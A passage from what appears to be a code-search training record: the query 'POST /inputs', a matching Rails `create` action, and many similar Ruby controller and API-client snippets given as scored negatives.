"0.49025804", "0.49014422", "0.4897638", "0.48887506", "0.48859945", "0.48859784", "0.4883357" ]
0.0
-1
POST /inputs POST /inputs.json
def create @input = Input.new(input_params) respond_to do |format| if @input.save format.html { redirect_to @input, notice: 'Input was successfully created.' } format.json { render action: 'show', status: :created, location: @input } else format.html { render action: 'new' } format.json { render json: @input.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inputs\n @inputs ||= JSON.parse(inputs_json || \"null\")\n end", "def create(inputs)\n inputs = [inputs] unless inputs.is_a? Array\n inputs = inputs.map { |input| Clarinet::Utils.format_input(input) }\n\n data = @app.client.inputs_create inputs\n Clarinet::Inputs.new data[:inputs]\n end", "def create\n @example_input = ExampleInput.new(example_input_params)\n\n respond_to do |format|\n if @example_input.save\n format.html { redirect_to @example_input, notice: 'Example input was successfully created.' }\n format.json { render :show, status: :created, location: @example_input }\n else\n format.html { render :new }\n format.json { render json: @example_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @input_datum.update(params[:input_data].keys, params[:input_data].values)\n format.html { redirect_to @input_datum, notice: 'Input datum was successfully created.' }\n format.json { render :show, status: :created, location: @input_datum }\n else\n format.html { render :new }\n format.json { render json: @input_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @input = Input.new(params[:input].merge!(:user => current_user))\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render json: @input, status: :created, location: @input }\n else\n format.html { render action: \"new\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def format_inputs(inputs)\n @api.account_id = @options[:src]\n result = {}\n\n inputs.index.each do |input|\n # Array input format type isn't correct and must be changed to a json array.\n # More info here: http://reference.rightscale.com/api1.5/resources/ResourceInputs.html#multi_update\n if input.value =~ /^array:/\n array = input.value.sub(/^array:/, \"\").split(\",\")\n array.map {|a| a.sub!(/^/, \"\\\"text:\").sub!(/$/, \"\\\"\")}\n new_array = array.join(\",\")\n new_array.sub!(/^/, \"array:[\")\n new_array.sub!(/$/, \"]\")\n result[input.name] = new_array\n else\n result[input.name] = input.value\n end\n end\n\n return result\nend", "def index\n @inputs = Input.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inputs }\n end\n end", "def index\n extras = ActiveModel::Type::Boolean.new.cast(params[:include_extras])\n\n render json: InputSerializer.collection(\n Input.all,\n @scenario,\n **serializer_args(extra_attributes: extras)\n )\n end", "def create\n @model_input = ModelInput.new(model_input_params)\n\n respond_to do |format|\n if @model_input.save\n format.html { redirect_to @model_input, notice: 'Model input was successfully created.' }\n format.json { render :show, status: :created, location: @model_input }\n else\n format.html { render :new }\n format.json { render json: @model_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def all_inputs\n HTTParty.get(self.class.url_to(\"#{ id }/inputs\"))\n end", "def create\n @user_input = UserInput.new(user_input_params)\n\n respond_to do |format|\n if @user_input.save\n format.html { redirect_to @user_input, notice: 'User input was successfully created.' }\n format.json { render :show, status: :created, location: @user_input }\n else\n format.html { render :new }\n format.json { render json: @user_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def inputs(*args)\n return Knj::Web.inputs(args)\n end", "def index\n @inputs = Input.all\n end", "def index\n @inputs = Input.all\n end", "def index\n @inputs = Input.all\n end", "def input_params\n params.require(:input).permit(:key, :frameRate, :resolution, :aspectRatio, :interlaced, :container, :job_id)\n end", "def create\n raise\n @article = Article.find(params[:article_id])\n\n @input = @article.inputs.new(input_params)\n\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render :show, status: :created, location: @input }\n @article.actualizar_saldo(input_params[:cantidad],\"input\",@input.id)\n \n else\n format.html { render :new }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n\n end\n end\n\n end", "def create\n @recipe_input = RecipeInput.new(recipe_input_params)\n\n respond_to do |format|\n if @recipe_input.save\n format.html { redirect_to @recipe_input, notice: 'Recipe input was successfully created.' }\n format.json { render :show, status: :created, location: @recipe_input }\n else\n format.html { render :new }\n format.json { render json: @recipe_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_input_data\n @inputs.each do |input, props|\n next unless props[:properties][\"save\"]\n next unless props[:properties][\"data\"]\n next unless props[:value]\n next if props[:dynamic]\n\n save_to_datastore(input)\n end\n end", "def create\n @input = Input.new(input_params)\n\n respond_to do |format|\n if @input.save\n @file = @input.input_file.download\n data = CSV.parse(@file, headers: true)\n # TODO S in SOLID\n coords_ary = []\n data.each do |i|\n # iterate each row (address), call geolocate api for each\n # to get lat-lon coords\n i = i.to_h\n zip = i[\"Zipcode\"]\n addr = i[\"Address\"]\n town = i[\"Town\"]\n state = i[\"State\"]\n # POST or GET\n response = RestClient.get \"https://app.geocodeapi.io/api/v1/search?apikey=#{ENV['GEOLOCATION_KEY']}&text=#{addr},#{town},#{state},#{zip},United States\"\n parsed = JSON.parse(response)\n coords = parsed[\"features\"][0][\"geometry\"][\"coordinates\"].reverse\n puts \"coordinates for #{addr}, #{town} #{state}, #{zip}\"\n puts coords\n coords_ary << coords\n File.write('response.json', parsed)\n end\n osrm_api(coords_ary)\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render :show, status: :created, location: @input }\n else\n format.html { render :new }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def input_params\n params.require(:input).permit(:input_file)\n end", "def recipe_input_params\n params.require(:recipe_input).permit(:recipe_id, :resource_id, :amount)\n end", "def inputs\n @inputs ||= Scenario::Inputs.new(self)\n end", "def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def inputs\n ports_with_capabilities(:input)\n end", "def create\n @custom_input = CustomInput.new(custom_input_params)\n\n respond_to do |format|\n if @custom_input.save\n format.html { redirect_to custom_inputs_url, notice: 'Entrada personalizada foi criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @custom_input }\n else\n format.html { render action: 'new' }\n format.json { render json: @custom_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end", "def input_params\n params.require(:input).permit(:text, :team_id, :answer_id)\n end", "def create\n @input = Input.new(params[:input])\n\n respond_to do |format|\n if @input.save\n flash[:notice] = 'Input was successfully created.'\n format.html { redirect_to(@input) }\n format.xml { render :xml => @input, :status => :created, :location => @input }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @input.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @input = Input.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @input }\n end\n end", "def fake_post(input)\n {\n 'title' => '{{ title }}',\n 'thumb' => '{{ thumb }}',\n 'url' => '{{ url }}',\n 'año' => '{{ año }}'\n }\n end", "def create\n @mathematical_model_input = MathematicalModelInput.new(params[:mathematical_model_input])\n\n respond_to do |format|\n if @mathematical_model_input.save\n format.html { redirect_to @mathematical_model_input, notice: 'Mathematical model input was successfully created.' }\n format.json { render json: @mathematical_model_input, status: :created, location: @mathematical_model_input }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mathematical_model_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def output_params\n params.require(:output).permit(:title, :notes, feature_ids: [])\n end", "def create(input)\n @response = self.request(Net::HTTP::Post.new(\n \"/stikkits.atom?raw_text=#{CGI.escape(input)}\"\n ))\n #-- TODO: This should be processed and useful output presented\n #++\n puts @response.body\n end", "def addInputs(forms)\n forms.push( {\"description\"=>\"Config\",\n \"label\"=>\"Config\",\"name\"=>\"config\",\n \"property_inputs\"=>[{\"description\"=>\"Stack\",\"label\"=>\"Stack\",\"reference\"=>\".diego_cell\"+deploymentName+\".stack\"},\n {\"description\"=>\"Virtual IP\",\"label\"=>\"Virtual IP\",\"reference\"=>\".ha_proxy\"+deploymentName+\".keepalived_vip\"},\n {\"description\"=>\"Same Keepalived group share same virtual router ID \",\"label\"=>\"Virtual Router ID\",\"reference\"=>\".ha_proxy\"+deploymentName+\".keepalived_virtual_router_id\"}] });\nend", "def input_datum_params\n params.require(:input_datum).permit(:content, :item_id)\n end", "def test_case_params\n params.require(:test_case).permit(:input, :output)\n end", "def input_params\n params.require(:input).permit(:cantidad, :article_id, :comment, :devolucion, :remito )\n end", "def user_input_params\n params.require(:user_input).permit(:input_x, :input_y)\n end", "def model_input_params\n params.require(:model_input).permit(:model_id, :input_id, :source_id, :units, :quantity, :actType)\n end", "def example_input_params\n params.require(:example_input).permit(:purchasername, :itemdescription, :itemprice, :purchasecount, :merchantaddress, :merchantname)\n end", "def custom_input_params\n params.require(:custom_input).permit(:amount, :description, :input_type)\n end", "def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, {\"rack.input\" => rack_input}\nend", "def inputs()\n @actor.inputs()\n end", "def json(input)\n JSON.dump(input)\n end", "def POST; end", "def create\n @input = Input.new(input_params)\n\n # 改行、タブ、空白など取り除く\n @input.text = @input.text.gsub(/(\\s| )/, '')\n\n # TODO: 正しいtimeを入れる\n @input.time = '01:00'\n\n calculate_score\n\n respond_to do |format|\n if @input.save\n format.html { redirect_to root_path(team_id: params[:input][:team_id], before_answer_id: params[:input][:answer_id]), notice: '回答を送信しました' }\n format.json { render :show, status: :created, location: @input }\n else\n format.html { render :new }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_params\n params.require(:json).permit(:type, :data)\n end", "def generate_bulk_data_params\n {\n 'inputFormat': 'application/fhir+ndjson',\n 'inputSource': @testing_instance.url,\n 'storageDetail': {\n 'type': 'https'\n },\n 'input': [{\n 'type': 'Bundle',\n 'url': generate_ndjson_url\n }]\n }\n end", "def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, 'rack.input' => rack_input\nend", "def create\n @first_input = FirstInput.new(first_input_params)\n\n respond_to do |format|\n if @first_input.save\n format.html { redirect_to @first_input, notice: 'First input was successfully created.' }\n format.json { render :show, status: :created, location: @first_input }\n else\n format.html { render :new }\n format.json { render json: @first_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def _inputs(inputs=[], opts={}) # :nodoc:\n if inputs.is_a?(Hash)\n opts = inputs.merge(opts)\n inputs = []\n end\n\n form_opts = {}\n form_opts[:inputs_wrapper] = opts[:nested_inputs_wrapper] if opts[:nested_inputs_wrapper]\n TRANSFORMER_TYPES.each do |t|\n if opts.has_key?(t) && t != :inputs_wrapper\n form_opts[t] = opts[t]\n end\n end\n\n Forme.transform(:inputs_wrapper, opts, @opts, self, opts) do\n with_opts(form_opts) do\n inputs.each do |i|\n emit(input(*i))\n end\n yield if block_given?\n end\n end\n end", "def handle_inputs\n collect_inputs(form_model: :post)\n\n if state.post.has_errors?\n set_state post: state.post\n else\n state.post.create.then do |post|\n if post.has_errors?\n set_state post: post\n else\n $HISTORY.pushState(nil, \"/posts/#{post.id}\")\n end\n end\n end\n end", "def index\n @model_inputs = ModelInput.all\n end", "def post(*args)\n super(*wrap_for_json_api(*args))\n end", "def outputs_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.outputs_post ...'\n end\n # resource path\n local_var_path = '/api/v1/outputs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'address'] = opts[:'address'] if !opts[:'address'].nil?\n query_params[:'hash'] = opts[:'hash'] if !opts[:'hash'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#outputs_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @input_log = InputLog.new(input_log_params)\n\n respond_to do |format|\n if @input_log.save\n format.html { redirect_to @input_log, notice: 'Input log was successfully created.' }\n format.json { render :show, status: :created, location: @input_log }\n else\n format.html { render :new }\n format.json { render json: @input_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@input = Input.find(params[:id])\n\n respond_to do |format|\n if @input.update_attributes(params[:input])\n \n format.html { redirect_to outputs_path, notice: 'Input was successfully updated.' }\n format.json { head :ok }\n format.js {@updates=params[:input].keys}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end", "def list\n render json: Input.all.map{|i| {id: i.id, key: i.key}}\n end", "def index\n @user_inputs = UserInput.all\n end", "def jsonify(input); end", "def post_data; end", "def index\n @input_data = InputDatum.all\n end", "def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end", "def index\n @recipe_inputs = RecipeInput.all\n end", "def input_params\n self.params.input_param\n end", "def new\n @mathematical_model_input = MathematicalModelInput.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mathematical_model_input }\n end\n end", "def send_service_input\n # Send the request\n base64Input = params[:project][:input]\n response = RestClient.post(SERVICE_REQUEST_URL,\n {\n :id => @project[:id],\n :options => @project[:service_options],\n :input => base64Input\n }.to_json, {content_type: :json, accept: :json})\n # Set the project's eta to the SMACK server's predicted processing time\n return JSON.parse(response.body)['eta']\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def format_inputs()\n full_inputs = Hash.new()\n \n if @inputs.any?\n input_array = Array.new()\n @inputs.keys.each do |input|\n input_props = {\"name\" => input, \"value\" => @inputs[input]}\n input_array.push(input_props)\n end\n full_inputs[\"inputs\"] = input_array\n end\n\n if @credential_name\n full_inputs[\"preset\"] = @credential_name\n end\n \n formatted_inputs = full_inputs.to_json()\n return formatted_inputs\n end", "def event_params\n json_params = ActionController::Parameters.new( JSON.parse(request.body.read) )\n json_params.require(:event).permit(:creator_id, :name, :address, :latitude, :longitude, :creator_id, {:tags_ids => []})\n end", "def test_input_helper\n\n\t\t p \"getting into test_input_helper!!!!!!!!!!!!!!!!!\"\n\n\t\t# p \"input was: #{params[:data]}\"\n\n\t\tp \"street_name is: #{params[:street_name]}\"\n\n\t\tp \"building_num is: #{params[:house_number]}\"\n\n\t\t#post = Building.find(1).facility_name + \"----\" + params[:data]\n\n\t\tpost = Building.find_by(street_name: params[:street_name], building_num: params[:house_number])\n\n\t\tBuilding.find_by(street_name: \"Dudley\",building_num: \"500\".to_i )\n\n\t\tp \"post is: #{post.inspect}\"\n\n\t respond_to do |format|\n\t format.html\n\n\t format.json { render :json => { :status => 'Ok', :message => 'Received', :post => post},:status => 200}\n\t end\n\tend", "def paper_request_json(input)\n Value::PaperRequest.new(input[:paper_id], input[:request_id])\n .yield_self { |request| Representer::PaperRequest.new(request) }\n .yield_self(&:to_json)\n end", "def post\n @response_body = make_request(\"#{api_url}#{endpoint}\", request_body.to_json)\n puts \"GLIMR POST: #{endpoint} - #{request_body.to_json}\" if ENV.key?('GLIMR_API_DEBUG')\n end", "def model_params\n params.require(:model).permit(:id, :name, :dataset, :snippet, :image, :description, :accuracy, :algorithm, :organization, :size, :api_key, :endpoint,\n inputs_attributes: [:id, :name, :kind, :order, :_destroy],\n outputs_attributes: [:id, :name, :kind, :order, :default_value, :_destroy])\n end", "def token_inputs\n { :id => _id, :name => name }\n end", "def inputs()\n nil\n end", "def post(*args)\n request :post, *args\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def input; @input; end", "def input; @input; end", "def post(*args)\n request(:post, *args)\n end", "def input\n @all[:input]\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def update!(**args)\n @inputs = args[:inputs] if args.key?(:inputs)\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def input \n @input ||= JSON.parse(File.read(ARGV[0]));\nend", "def create\n ingredient = Ingredient.create(ingredient_params)\n render json: ingredient\n end", "def normalize_for_json!\n @inputs.each do |input|\n input.args = input.args.map do |arg|\n Ckb::Utils.bin_to_hex(\n Ckb::Utils.delete_prefix(arg)\n )\n end\n end\n\n @outputs.each do |output|\n output.data = Ckb::Utils.bin_to_hex(\n Ckb::Utils.delete_prefix(output.data)\n )\n output.lock.args = output.lock.args.map do |arg|\n Ckb::Utils.bin_to_hex(\n Ckb::Utils.delete_prefix(arg)\n )\n end\n\n next unless output.type\n\n output.type.args = output.type.args.map do |arg|\n Ckb::Utils.bin_to_hex(\n Ckb::Utils.delete_prefix(arg)\n )\n end\n end\n\n self\n end" ]
[ "0.6775562", "0.636587", "0.62419254", "0.61635983", "0.612818", "0.6123627", "0.60074013", "0.5908479", "0.58784807", "0.58212495", "0.5811382", "0.58099604", "0.5734061", "0.5734061", "0.5734061", "0.5724214", "0.57193756", "0.5718871", "0.5677981", "0.56707954", "0.5647658", "0.56167054", "0.5616409", "0.5612699", "0.5610093", "0.55729085", "0.5571841", "0.5561357", "0.5556671", "0.5544159", "0.55290043", "0.55115", "0.5468684", "0.5465549", "0.543752", "0.54183185", "0.54138625", "0.5404096", "0.5391688", "0.5386964", "0.5381744", "0.5373316", "0.53557754", "0.5307346", "0.5300668", "0.5299542", "0.52978426", "0.52957743", "0.5292426", "0.5282586", "0.52792037", "0.5258978", "0.52562946", "0.52444834", "0.52252007", "0.52141774", "0.52131665", "0.5207365", "0.5186171", "0.5158205", "0.51578087", "0.51408786", "0.51329446", "0.5128229", "0.5115186", "0.5104142", "0.510288", "0.5095434", "0.5079001", "0.5065466", "0.5065466", "0.5065466", "0.5065466", "0.5063875", "0.506188", "0.5060466", "0.5043083", "0.50315374", "0.50270146", "0.50268364", "0.5025901", "0.5011531", "0.49996465", "0.49968982", "0.499552", "0.49888134", "0.49888134", "0.4986482", "0.49676192", "0.49593723", "0.49593723", "0.49593723", "0.49593723", "0.49593723", "0.49593723", "0.49593723", "0.49513134", "0.49454787", "0.4944041", "0.49438152" ]
0.6258298
2